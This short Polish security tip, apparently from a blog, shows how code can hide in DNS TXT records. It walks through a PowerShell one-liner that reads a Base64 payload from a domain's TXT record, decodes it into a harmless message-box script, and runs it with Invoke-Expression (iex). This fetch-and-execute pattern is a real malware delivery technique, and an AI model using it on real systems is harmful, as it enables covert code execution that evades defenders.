Cmdlet Resolve-DnsName służy do
resolvowania nazw DNS;). W rekordach
TXT mogą się mieścić zupełnie długie łańcuchy znaków, aż się więc prosi, by umieścić w nich złośliwy - bardziej lub mniej - kod. Dla przykładu, zobaczmy co znajduje się w rekordzie
TXT domeny
msg.aptmc.pl:
PS C:\Users\drg> (Resolve-DnsName -Type TXT msg.aptmc.pl).strings
W1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZFdpdGhQYXJ0aWFsTmFtZSgiU3lzdGVtLldpbmRvd3MuRm9ybXMiKQ0KW1N5c3RlbS5XaW5kb3dzLkZvcm1zLk1lc3NhZ2VCb3hdOjpTaG93KCJJIGxvdmUgdGhpcyBqb2IhIDspIiwgIkhlbGxvIiwgMSk=
PS C:\Users\drg>
Wygląda to jak zakodowany Base64, możemy więc wykorzystać
wspomnianego już
CyberChefa lub zdekodować go od razu w Powershellu:
PS C:\Users\drg> [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Resolve-DnsName -Type TXT msg.aptmc.pl).strings))
[System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
[System.Windows.Forms.MessageBox]::Show("I love this job! ;)", "Hello", 1)
PS C:\Users\drg>
By to uruchomić, wystarczy dodać na końcu
|Invoke-Expression
lub w skrócie
|iex
.
Jeśli chcesz otrzymywać nowe, mięsiste protipy na maila, a także zostać czasem powiadomiony o wartościowych wydarzeniach - dołącz do subskrybentów.